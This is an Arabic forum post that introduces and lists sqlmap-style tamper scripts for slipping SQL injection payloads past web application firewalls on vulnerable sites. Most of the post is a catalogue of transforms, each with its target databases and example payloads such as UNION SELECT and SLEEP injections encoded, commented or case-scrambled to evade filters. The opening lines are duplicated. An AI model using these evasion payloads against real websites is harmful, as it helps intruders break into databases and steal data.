بسم الله الرحمن الرحيم
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آخر فترة عندما تجد موقع مصاب بثغرة sql injection , نادرًا الموقع ما يكون عليه جدار ناري أو حماية
لذلك قررت أشاركم بعض التكنيك لتخطي الحمايات, لنبدأ بسم الله...
مثال:
كيف حالكم إخواني ؟
آخر فترة عندما تجد موقع مصاب بثغرة sql injection , نادرًا الموقع ما يكون عليه جدار ناري أو حماية
لذلك قررت أشاركم بعض التكنيك لتخطي الحمايات, لنبدأ بسم الله...
مثال:
كود:
space2dash.py
Function: Space==> -nVNaVoPYeva% 0A
Platform:MSSQL、SQLite
example
1 AND 9227=9227 ==> 1 — nVNaVoPYeva%0AAND — ngNvzqu%0A9227=9227
عندما تشاهد ذلك في الترمنال هذا يعني أنه قد تم تحميل التكنيك للاستخدام بنجاح :
راح أخليكم مع التكنيكات , كل تكنيك موجود اسمه + متوافق مع أي إصدار من قاعدة البيانات وطريقة عمله:
راح أخليكم مع التكنيكات , كل تكنيك موجود اسمه + متوافق مع أي إصدار من قاعدة البيانات وطريقة عمله:
كود:
apostrophemask.py
Function: Encoding quotation marks with utf8
Platform: All
example
1 AND ‘1’=’1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
apostrophenullencode.py
Function: ‘ ==> %00%27
Platform: All
example
1 AND ‘1’=’1 ==> 1 AND %00%271%00%27=%00%271
appendnullbyte.py
Function: Space ==> %00
Platform: Microsoft Access
example
1 AND 1=1 ==> 1 AND 1=1%00
base64encode.py
Function: base64 encode
Platform: All
example
1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==
between.py
Function: > ==> NOT BETWEEN 0 AND
Platform: Mssql2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
example
1 AND A > B — ==> 1 AND A NOT BETWEEN 0 AND B — ```、```1 AND A = B — ==> 1 AND A BETWEEN B AND B —
bluecoat.py
Function: Space ==> %09
Platform: MySQL 5.1, SGOS
example
SELECT id FROM users WHERE id = 1 ==> SELECT%09id FROM%09users WHERE%09id LIKE 1
chardoubleencode.py
Function: Double url encoding
Platform: All
example
SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
charencode.py
Function: url encoding
Platform: Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
example
SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
charunicodeencode.py
Function: escape code
Platform: Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET
example
SELECT FIELD%20FROM TABLE ==> %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
commalesslimit.py
Function: limit 2,3 ==> LIMIT 3 OFFSET 2
Platform: MySQL 5.0 and 5.5
example
LIMIT 2, 3 ==> LIMIT 3 OFFSET 2
commalessmid.py
Function: MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)
Platform: MySQL 5.0 and 5.5
example
MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)
concat2concatws.py
Function: CONCAT() ==> CONCAT_WS()
Platform: MySQL 5.0
example
CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)
equaltolike.py
Function: ＝ ==> like
Platform: Mssql 2005、MySQL 4, 5.0 and 5.5
example
SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1
escapequotes.py
Function: ‘ ==> \‘、” ==> \“
Platform: All
example
1" AND SLEEP(5)# ==> 1\\\\” AND SLEEP(5)#
greatest.py
Function: > ==> GREATEST
Platform: MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
example
1 AND A > B ==> 1 AND GREATEST(A,B+1)=A
halfversionedmorekeywords.py
Function: Space ==> /*!0
Platform: MySQL 4.0.18, 5.0.22
example
union ==> /*!0union
ifnull2ifisnull.py
Function: IFNULL(A, B) ==> IF(ISNULL(A), B, A)
Platform: MySQL 5.0 and 5.5
example
IFNULL(1, 2) ==> IF(ISNULL(1),2,1)
informationschemacomment.py
Function: Space ==> /**/
Platform: MySQL
example
SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES
lowercase.py
Function: INSERT ==> insert
Platform: Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
example
SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables
modsecurityversioned.py
Function: AND ==> /!12345AND/
Platform: MySQL 5.0
example
1 AND 2>1 — ==> 1 /*!30874AND 2>1*/ —
multiplespaces.py
Function: Space==> Multiple spaces
Platform: All
example
1 UNION SELECT foobar ==> 1 UNION SELECT foobar
nonrecursivereplacement.py
Function: union ==> uniunionon
Platform: All
example
1 UNION SELECT 2 — ==> 1 UNION SELESELECTCT 2-
overlongutf8.py
Function: unicode encoding
Platform: All
example
SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1
percentage.py
Function: select ==> s%e%l%e%c%t
Platform: Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
example
SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
randomcase.py
Function: INSERT ==> INseRt
Platform: Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
example
INSERT ==> InseRt
randomcomments.py
Function: INSERT ==> I/**/N/**/SERT
Platform: Mysql
example
INSERT ==> I / ** / N / ** / SERT
securesphere.py
Function: 1 AND 1=1 ==> 1 AND 1=1 and ‘0having’=’0having’
Platform: All
example
1 AND 1=1 ==> 1 AND 1=1 and ‘0having’=’0having’
sp_password.py
Function: Space ==> sp_password
Platform: Mssql
example
1 AND 9227=9227 — ==> 1 AND 9227=9227 — sp_password
space2comment.py
Function: Space ==> /**/
Platform: Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
example
SELECT id FROM users ==> SELECT/**/id/**/FROM/**/users
space2dash.py
Function: Space==> -nVNaVoPYeva% 0A
Platform:MSSQL、SQLite
example
1 AND 9227=9227 ==> 1 — nVNaVoPYeva%0AAND — ngNvzqu%0A9227=9227
space2hash.py
Function: Space ==> %23nVNaVoPYeva%0A
Platform: MySQL 4.0, 5.0
example
1 AND 9227=9227 ==> 1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227
space2morehash.py
Function: Space ==> %23ngNvzqu%0A
Platform: MySQL 5.1.41
example
1 AND 9227=9227 ==> 1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
space2mssqlblank.py
Function: Space ==> %0E
Platform: Mssql 2000,2005
example
SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users
space2mssqlblank.py
Function: Space ==> %23%0A
Platform: Mssql、Mysql
example
1 AND 1=1 ==> 1%23%0AAND%23%0A9227=9227
space2mysqlblank.py
Function: Space ==> %2B, %0D, %0C
Platform: Mysql5.1
example
SELECT id FROM users ==> SELECT%0Bid%0DFROM%0Cusers
space2mysqldash.py
Function: Space==> –%0A
Platform: Mssql、Mysql
example
1 AND 9227=9227 ==> 1 — %0AAND — %0A9227=9227
space2plus.py
Function: Space ==> +
Platform: All
example
SELECT id FROM users ==> SELECT+id+FROM+users
space2randomblank.py
Function: Space ==> %0D, %0A, %0C, %09
Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
example
SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers
symboliclogical.py
Function: and ==> %26%26
Platform: All
example
1 AND ‘1’=’1 ==> 1 %26%26 ‘1’=’1
thinkphp.py
Platform: Mysql
unionalltounion.py
Function: Replace All is empty
Platform: All
example
-1 UNION ALL SELECT ==> -1 UNION SELECT
unmagicquotes.py
Function: ‘ ==> %df%27
Platform: Mysql magic_quotes/addslashes
example
1' AND 1=1 ==> 1%bf%27 —
uppercase.py
Function: Lower case to upper case
Platform: Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
example
insert ==> INSERT
varnish.py
Function: header
example
X-originating-IP: 127.0.0.1
versionedkeywords.py
Function: union ==> /!union/
Platform: MySQL 4.0.18, 5.1.56, 5.5.11
example
1 union select user() ==> 1/*!UNION*//*!SELECT*/user()
versionedmorekeywords.py
Function: union ==> /!union/
Platform: MySQL 5.1.56, 5.5.11
example
1 union select user() ==> 1/*!UNION*//*!SELECT*/user()
xforwardedfor.py
Function: X-Forwarded-For Random Head
Platform: All
example
X-Forwarded-For: 127.0.0.1دُمتم في أمان الله
التعديل الأخير بواسطة المشرف:
